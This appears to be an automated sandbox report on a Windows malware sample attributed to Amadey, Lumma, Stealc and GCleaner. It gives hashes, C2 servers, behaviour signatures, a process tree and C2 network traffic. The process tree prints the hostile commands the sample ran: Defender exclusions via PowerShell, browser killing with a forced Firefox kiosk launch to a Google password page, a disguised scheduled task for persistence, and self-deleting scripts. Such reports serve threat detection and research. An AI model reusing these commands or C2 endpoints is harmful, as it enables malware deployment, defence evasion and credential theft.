Analysis

  • max time kernel
    141s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-12-2024 08:25

General

  • Target

    f3e3c4115bd289a528c02aae90a563e6b5dd6009e125d1fb142bcc7218cf068d.exe

  • Size

    2.8MB

  • MD5

    0afe3bc3b68ddb4ebb3878a01a8bcd9a

  • SHA1

    aa25366b2677ee9e0029c3e12f9063742227fe1b

  • SHA256

    f3e3c4115bd289a528c02aae90a563e6b5dd6009e125d1fb142bcc7218cf068d

  • SHA512

    b8067a96567d3d73af408581a6b041758bcd77f8752d8a176a1253e978d832ced0e83f2775fb951f728ae06f11c6231171fe480ad454370116c47f45fbb52bab

  • SSDEEP

    24576:oW8IPnz3MNLz5g/oR+erMpAHuY7LGStg0Nn3WgCWED0CnO9lgJFbmK3Wj3zVK8bB:o5zlLrmStgq3WPRCOmAiZzr/9gcYK

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

lumma

C2

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Gcleaner family
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Enumerates VirtualBox registry keys 2 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 37 IoCs
  • Identifies Wine through registry keys 2 TTPs 11 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 58 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 53 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of FindShellTrayWindow 15 IoCs
  • Suspicious use of SendNotifyMessage 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1196
      • C:\Users\Admin\AppData\Local\Temp\f3e3c4115bd289a528c02aae90a563e6b5dd6009e125d1fb142bcc7218cf068d.exe
        "C:\Users\Admin\AppData\Local\Temp\f3e3c4115bd289a528c02aae90a563e6b5dd6009e125d1fb142bcc7218cf068d.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
          "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2748
          • C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe
            "C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2832
            • C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe
              "C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe"
              5⤵
              • Executes dropped EXE
              PID:1596
            • C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe
              "C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe"
              5⤵
              • Executes dropped EXE
              PID:1356
            • C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe
              "C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe"
              5⤵
              • Executes dropped EXE
              PID:1632
            • C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe
              "C:\Users\Admin\AppData\Local\Temp\1018351001\ab4bd86dcc.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2740
          • C:\Users\Admin\AppData\Local\Temp\1018353001\1b12d9265c.exe
            "C:\Users\Admin\AppData\Local\Temp\1018353001\1b12d9265c.exe"
            4⤵
            • Enumerates VirtualBox registry keys
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1940
          • C:\Users\Admin\AppData\Local\Temp\1018354001\b5a0016111.exe
            "C:\Users\Admin\AppData\Local\Temp\1018354001\b5a0016111.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2400
            • C:\Users\Admin\AppData\Local\Temp\1018354001\b5a0016111.exe
              "C:\Users\Admin\AppData\Local\Temp\1018354001\b5a0016111.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              PID:872
          • C:\Users\Admin\AppData\Local\Temp\1018355001\8160d7817e.exe
            "C:\Users\Admin\AppData\Local\Temp\1018355001\8160d7817e.exe"
            4⤵
            • Executes dropped EXE
            PID:2788
          • C:\Users\Admin\AppData\Local\Temp\1018356001\94f0301255.exe
            "C:\Users\Admin\AppData\Local\Temp\1018356001\94f0301255.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1700
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Add-MpPreference -ExclusionPath "C:\nqrscd"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1052
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1400
          • C:\Users\Admin\AppData\Local\Temp\1018357001\6d4b9dcf61.exe
            "C:\Users\Admin\AppData\Local\Temp\1018357001\6d4b9dcf61.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3428
          • C:\Users\Admin\AppData\Local\Temp\1018358001\818f5dca0c.exe
            "C:\Users\Admin\AppData\Local\Temp\1018358001\818f5dca0c.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            PID:9180
          • C:\Users\Admin\AppData\Local\Temp\1018359001\4d412062f0.exe
            "C:\Users\Admin\AppData\Local\Temp\1018359001\4d412062f0.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:6084
          • C:\Users\Admin\AppData\Local\Temp\1018360001\96f9225a06.exe
            "C:\Users\Admin\AppData\Local\Temp\1018360001\96f9225a06.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:6836
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM firefox.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:6984
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM chrome.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:7276
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM msedge.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:7392
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM opera.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:7496
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM brave.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:7632
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
              5⤵
                PID:7776
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                  6⤵
                  • Checks processor information in registry
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:7796
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.0.1685639253\531302897" -parentBuildID 20221007134813 -prefsHandle 1236 -prefMapHandle 1228 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {77f25fea-bec9-4be7-944f-e365ee4036f0} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 1300 121d6758 gpu
                    7⤵
                      PID:8152
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.1.555833866\1602816401" -parentBuildID 20221007134813 -prefsHandle 1504 -prefMapHandle 1500 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {75857f1c-7ce3-4cdb-ab51-88b371ee0b66} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 1516 e73c58 socket
                      7⤵
                        PID:8284
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.2.1824538288\1625373714" -childID 1 -isForBrowser -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d93cd95d-65e3-4e82-9cab-5ea38ecce26e} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 2120 1a0aa658 tab
                        7⤵
                          PID:8800
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.3.1514808556\2036080494" -childID 2 -isForBrowser -prefsHandle 2832 -prefMapHandle 2828 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f6f8449-b60a-4ec6-87d4-57e7851f6b1c} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 2844 e5d858 tab
                          7⤵
                            PID:3772
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.4.711299274\1817094259" -childID 3 -isForBrowser -prefsHandle 3772 -prefMapHandle 3744 -prefsLen 26356 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {12d42a05-3521-4ffd-9b24-18309afe8569} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 3760 1f676658 tab
                            7⤵
                              PID:3104
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.5.698389674\1666187025" -childID 4 -isForBrowser -prefsHandle 3976 -prefMapHandle 3988 -prefsLen 26356 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {20c02cbd-69cf-45b0-8405-b5519ba528af} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 3964 21b25d58 tab
                              7⤵
                                PID:8100
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="7796.6.340571144\706438751" -childID 5 -isForBrowser -prefsHandle 4020 -prefMapHandle 4016 -prefsLen 26356 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf8aba2b-5fb3-4a17-919d-b35237a7c9e8} 7796 "\\.\pipe\gecko-crash-server-pipe.7796" 4032 21b27e58 tab
                                7⤵
                                  PID:8424
                          • C:\Users\Admin\AppData\Local\Temp\1018361001\22ed1302a4.exe
                            "C:\Users\Admin\AppData\Local\Temp\1018361001\22ed1302a4.exe"
                            4⤵
                            • Modifies Windows Defender Real-time Protection settings
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Windows security modification
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3312
                          • C:\Users\Admin\AppData\Local\Temp\1018362001\119eb1062a.exe
                            "C:\Users\Admin\AppData\Local\Temp\1018362001\119eb1062a.exe"
                            4⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:1748
                            • C:\Windows\system32\cmd.exe
                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
                              5⤵
                              • Loads dropped DLL
                              PID:292
                              • C:\Windows\system32\mode.com
                                mode 65,10
                                6⤵
                                  PID:372
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3024
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_7.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3096
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_6.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4128
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_5.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4168
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_4.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4196
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_3.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4228
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_2.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4252
                                • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                  7z.exe e extracted/file_1.zip -oextracted
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4276
                                • C:\Windows\system32\attrib.exe
                                  attrib +H "in.exe"
                                  6⤵
                                  • Views/modifies file attributes
                                  PID:4304
                                • C:\Users\Admin\AppData\Local\Temp\main\in.exe
                                  "in.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:4316
                                  • C:\Windows\system32\attrib.exe
                                    attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                    7⤵
                                    • Views/modifies file attributes
                                    PID:4328
                                  • C:\Windows\system32\attrib.exe
                                    attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                    7⤵
                                    • Views/modifies file attributes
                                    PID:4336
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                    7⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:4344
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell ping 127.0.0.1; del in.exe
                                    7⤵
                                    • System Network Configuration Discovery: Internet Connection Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4352
                                    • C:\Windows\system32\PING.EXE
                                      "C:\Windows\system32\PING.EXE" 127.0.0.1
                                      8⤵
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:4488
                            • C:\Users\Admin\AppData\Local\Temp\1018363001\2cf1899635.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018363001\2cf1899635.exe"
                              4⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4560
                            • C:\Users\Admin\AppData\Local\Temp\1018364001\63c55cb05c.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018364001\63c55cb05c.exe"
                              4⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of SetThreadContext
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4892
                              • C:\Users\Admin\AppData\Local\Temp\1018364001\63c55cb05c.exe
                                "C:\Users\Admin\AppData\Local\Temp\1018364001\63c55cb05c.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:7372
                              • C:\Users\Admin\AppData\Local\Temp\1018364001\63c55cb05c.exe
                                "C:\Users\Admin\AppData\Local\Temp\1018364001\63c55cb05c.exe"
                                5⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:7388
                            • C:\Users\Admin\AppData\Local\Temp\1018365001\25f6e62deb.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018365001\25f6e62deb.exe"
                              4⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5040
                            • C:\Users\Admin\AppData\Local\Temp\1018366001\3c62c3d17f.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018366001\3c62c3d17f.exe"
                              4⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5252
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "powershell.exe" Add-MpPreference -ExclusionPath "C:\zhcgd"
                                5⤵
                                • Command and Scripting Interpreter: PowerShell
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5316
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
                                5⤵
                                • Command and Scripting Interpreter: PowerShell
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5388
                            • C:\Users\Admin\AppData\Local\Temp\1018367001\3aa5453546.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018367001\3aa5453546.exe"
                              4⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of SetThreadContext
                              • System Location Discovery: System Language Discovery
                              PID:5588
                              • C:\Users\Admin\AppData\Local\Temp\1018367001\3aa5453546.exe
                                "C:\Users\Admin\AppData\Local\Temp\1018367001\3aa5453546.exe"
                                5⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:5636
                            • C:\Users\Admin\AppData\Local\Temp\1018368001\8797d752f7.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018368001\8797d752f7.exe"
                              4⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5864
                            • C:\Users\Admin\AppData\Local\Temp\1018369001\53c67451a6.exe
                              "C:\Users\Admin\AppData\Local\Temp\1018369001\53c67451a6.exe"
                              4⤵
                              • Enumerates VirtualBox registry keys
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6952
                        • C:\Windows\SysWOW64\dialer.exe
                          "C:\Windows\system32\dialer.exe"
                          2⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5152
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {C99510D1-1D39-462E-9E97-FC7AE4B52297} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
                        1⤵
                        • Loads dropped DLL
                        PID:7636
                        • C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                          C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          PID:7696
                          • C:\Windows\explorer.exe
                            explorer.exe
                            3⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:7708
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                            3⤵
                            • Drops file in System32 directory
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:7788
                            • C:\Windows\system32\PING.EXE
                              "C:\Windows\system32\PING.EXE" 127.1.10.1
                              4⤵
                              • System Network Configuration Discovery: Internet Connection Discovery
                              • Runs ping.exe
                              PID:7928

                      Network

                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 4
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:22 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Refresh: 0; url = Login.php
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 156
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:24 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:28 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:36 GMT
                        Content-Type: text/html; charset=UTF-8
